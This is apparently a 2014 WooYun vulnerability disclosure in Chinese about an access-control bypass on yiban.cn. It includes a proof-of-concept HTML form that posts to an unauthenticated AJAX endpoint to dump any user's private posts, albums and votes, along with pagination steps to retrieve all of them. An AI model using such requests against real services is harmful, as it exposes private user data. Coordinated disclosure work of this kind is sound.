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漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-050917

漏洞标题：易班网可越权查看任意用户全部动态

相关厂商：yiban.cn

漏洞作者： 夕风号

提交时间：2014-02-14 12:24

修复时间：2014-03-31 12:25

公开时间：2014-03-31 12:25

漏洞类型：未授权访问/权限绕过

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-02-14： 细节已通知厂商并且等待厂商处理中
2014-02-18： 厂商已经确认，细节仅向厂商公开
2014-02-28： 细节向核心白帽子及相关领域专家公开
2014-03-10： 细节向普通白帽子公开
2014-03-20： 细节向实习白帽子公开
2014-03-31： 细节向公众公开

简要描述：

不管你有没有登陆，不管目标用户隐私如何设置，微博、相册、投票等动态皆可一览无余。

详细说明：

假设目标用户个人主页为http://www.yiban.cn/profile?userid=708484
如果访问者未登陆，则页面会转到登陆页；
如果访问者已登陆，但目标用户设置了访问权限，便又进不去。
怎么办？
上exp:

<html>
<form name="form1" action="http://www.yiban.cn/ajax/user_news_json_2013.php?v=9679" method="POST">
<input name="kind" type="text" value="all" />
<input name="more" type="text" value="" />
<input name="newsid" type="text" value="0" />
<input name="type" type="text" value="1" />
<input name="userid" type="text" value="708484" />
<input type="submit" />
</form>
</html>


提交后得到JSON

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再用JSONLint处理即得清晰结果。
为了得到目标用户的全部动态，只需把input[name='more']的值改为上次所得JSON中最小id值即可。

漏洞证明：

3.png

修复方案：

永远不要忘了ajax的权限设置。

版权声明：转载请注明来源 夕风号@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-02-18 17:34

厂商回复：

感谢

最新状态：

暂无